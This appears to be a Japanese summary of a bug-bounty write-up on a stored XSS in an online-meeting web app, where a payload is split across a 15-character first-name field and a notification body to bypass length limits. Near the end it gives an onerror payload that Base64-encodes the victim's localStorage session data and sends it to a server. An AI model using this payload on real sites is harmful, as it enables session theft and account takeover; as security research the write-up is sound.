Hello there, ('ω')ノ
文字数制限のバイパス - スパンされたペイロードを使用した XSSを。
脆弱性:
XSS
アカウント乗っ取り
記事:
https://infosecwriteups.com/bypassing-character-limit-xss-using-spanned-payload-7301ffac226e
ターゲットを知る (初期偵察:マッピング機能)
ターゲットを使い始めるときに最初にすることは、ターゲットが何のために
作られているか、誰かが Web アプリケーションをどのように使用しているか、
どのような機能を持っているかなど、ターゲットを学習することで。
Web サイトは、見栄えの良い UI を備えたプレゼンテーションや
オンライン ミーティングに使用され。
1 つの会議には 1000 人の参加者が参加でき。
モデレーター、プレゼンター、参加者、ゲストの 4 つのユーザ ロールがあり。
完全な Web サイトは、JS を使用してクライアント側で動的に読み込まれて。
他のすべての機能とともに、ユーザの役割を比較しているときに目を引いたのは、
モデレータの役割には通知と呼ばれる追加機能があったことで。
そして、別の場所に反映される可能性のある他のいくつかのユーザ入力が
既にありましたが、それらには運がなく。
容疑者を突く
そこに通知を送信すると、ユーザの名がフィルタリングされずに
通知ポップアップに反映されていることがわかり。
First name フィールドにペイロードを挿入しようとしたところ、
15 文字しか許可されておらず、そこでは <script> が機能しないため、
それを悪用する方法がなく。
通知の本文では、山かっこ <> を使用できず。
文字数制限を突破してポップアップを実現:
FNAME — 管理部分はフィルタリングされておらず、特殊文字を使用でき、
通知本文は最大 88 文字まで完全にフィルタリングされて。
これをスクロールしているときに思いついたのですが、
両方を1つとして使用することはできないか。
FNAMEは特殊文字を許可し、同時に入力を15文字に制限したため、
一度にそれを使用することはできず。
<img src=' を FNAME 入力に挿入し、-Admin</span>…</div> からの部分を
その一重引用符の中に入れることで。
また、途中に一重引用符がなかったため、発生せず。
では、ポップアップの要点に。
通知の本文では一重引用符と二重引用符が許可されていたので、
通知の本文を一重引用符で開始し、img タグの src 属性内の FNAME の後に
コンテンツを囲み。
これらのタグは存在しないイメージのソースであるため、
src の値は false になり、エラーが発生し。
ここで onerror が再生されて。
本文の単一引用符の後に onerror=alert() を挿入すると、全体が次のようになって。
ブラウザはそれ自体でalert()の周りに“”を追加し、
注入後にクライアント側で引用符を自動的に調整して、
ポップアップアラートにつながる独自の変更を加えて。
アカウント乗っ取りのためのデータ流出:
これは、すべてのセッション情報を格納するために LocalStorage を使用していて。
そのため、データをサーバに盗み出す必要があり。
セッション値にいくつかの URL フラグメントまたは # があり、
GET パラメータを使用したデータの引き出しを中断して。
通知本文の文字数制限のため、encodeURIComponent() を使用できず。
代替手段をしばらく探した後、最終的に btoa() を使用して、
Base64 でエンコードされたバージョンの LocalStorage を盗み出し。
本文で使用されるペイロードは次のとおりで。
‘ onerror=’new Image().src=`//127.0.0.1/?s=${btoa(JSON.stringify(localStorage))}`’
onerror がトリガされると、その会議に参加していた被害者の
LocalStorage データを含むリクエストがサーバに送信されて。
Best regards, (^^ゞ